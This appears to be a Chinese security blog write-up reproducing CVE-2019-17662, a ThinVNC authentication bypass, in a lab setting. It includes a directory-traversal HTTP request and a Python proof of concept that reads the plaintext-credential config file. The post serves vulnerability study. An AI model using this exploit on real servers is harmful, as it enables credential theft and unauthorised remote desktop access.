ThinVnc-身份验证绕过(CVE-2019-17662)

简介

ThinVNC是一款以网页浏览器为基础设计的远端桌面连接工具,不局限用户端使用那种作业平台,都可以通过采用HTML5为标准的浏览器来达到远端控制。通过利用最新的网络技术如AJAX,WebSockets和HTML5等,ThinVNC提供安全的,高性能的基于web的远程桌面访问。

影响范围

ThinVnc 1.0b1

漏洞成因

ThinVNC使用基本身份验证对用户进行身份验证以访问Web VNC界面。部署VNC服务器时,将在服务器端设置要使用的凭据。没有运行VNC服务器的固定端口,当尝试使用错误的身份验证凭据进行多重验证时,它将引发HTTP 401错误。可以使用以下向量来绕开它:

/../../../../../../../../../windows/win.ini

此目录遍历攻击向量使我们可以读取系统上的任何文件。我们可以使用相同的向量来窃取VNC客户端的凭据。窃取它们后,我们可以使用凭据来破坏VNC服务器。妥协后,我们可以通过终端访问VNC服务器。

修复方法

(1)禁止存储明文凭证

(2)切勿使用HTTP进行基本身份验证

环境搭建

1、测试环境

靶机:

windows 7 x64

IP:192.168.157.131

攻击机:

windows 10 X64

IP:192.168.1.115

2、下载ThinVnc 客户端

3、解压ThinVnc到靶机,无需安装,直接打开exe文件,开启服务即可。

服务开启后根目录生成配置文件,存储着vnc的明文登录凭证

漏洞复现

1、访问http://192.168.157.131:8080/进入vnc登录界面

2、接下来我们就可以构造payload来读取ThinVnc配置文件,payload如下:

GET /xyz/../../ThinVnc.ini HTTP/1.1
Host: 192.168.157.131:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Authorization: Digest username="admin", realm="ThinVNC", nonce="4yTOn+9f5UCoxvEB71/lQA==", uri="/windows/win.ini", response="676e14e9f98fd8147521a329f3e3c6f4", opaque="WRYFjqkyGmRk8RVWldmvJSyiFcL09YpGvw", qop=auth, nc=00000003, cnonce="1ca209d91259e628"
Connection: close
Upgrade-Insecure-Requests: 1



3、利用获取的口令,通过vnc直接连接到服务器上去

4、附POC

#!/usr/bin/python3

import sys
import requests def exploit(host,port):
url = "http://" + host +":"+port+"/xyz/../../ThinVnc.ini"
r = requests.get(url)
body = r.text
print(body.splitlines()[2])
print(body.splitlines()[3]) def main(): if(len(sys.argv)!=3):
print("Usage:\n{} <host> <port>\n".format(sys.argv[0]))
print("Example:\n{} 192.168.157.131 8080")
else:
port = sys.argv[2]
host = sys.argv[1]
exploit(host,port) if __name__ == '__main__':
main()

参考链接:

最新文章

  1. Android—简单的仿QQ聊天界面
  2. NSTimer
  3. MFC编程入门之二十一(常用控件:编辑框Edit Control)
  4. MFC的几处坑
  5. JavaScript 学习小结
  6. gradle 命令
  7. laravel框架中widget模糊查询
  8. java 练习题
  9. hifi/ headphone test
  10. eclipse 解决插件失效
  11. 再谈Hibernate级联删除——JPA下的Hibernate实现一对多级联删除CascadeType.DELETE_ORPHAN
  12. Java获取系统相关信息System.getProperty()
  13. 试着把.net的GC讲清楚(3)
  14. jemter聚合报告参数指标
  15. Java Web请求和响应机制
  16. Python Json &amp; Pickle模块
  17. vue 裁剪图片,插件Cropper的使用
  18. iis6-0 cve-2017-7269 批量验证脚本
  19. .NetCore发布到Centos docker
  20. WPF DataGrid列设置为TextBox控件的相关绑定

热门文章

  1. 病毒侵袭持续中 HDU - 3065 AC自动机
  2. Jenkins 持续集成测试工具
  3. System.Windows.Forms.Help
  4. Leetcode(102)-二叉树的层次遍历
  5. linux下新建用户
  6. 如何用 js 实现一个 class 类函数
  7. git tag All In One
  8. c++ winapi 让目标程序(target)调用当前程序(local)的函数
  9. IDEA 敏捷开发技巧——后缀完成
  10. Excel和CSV格式文件的不同之处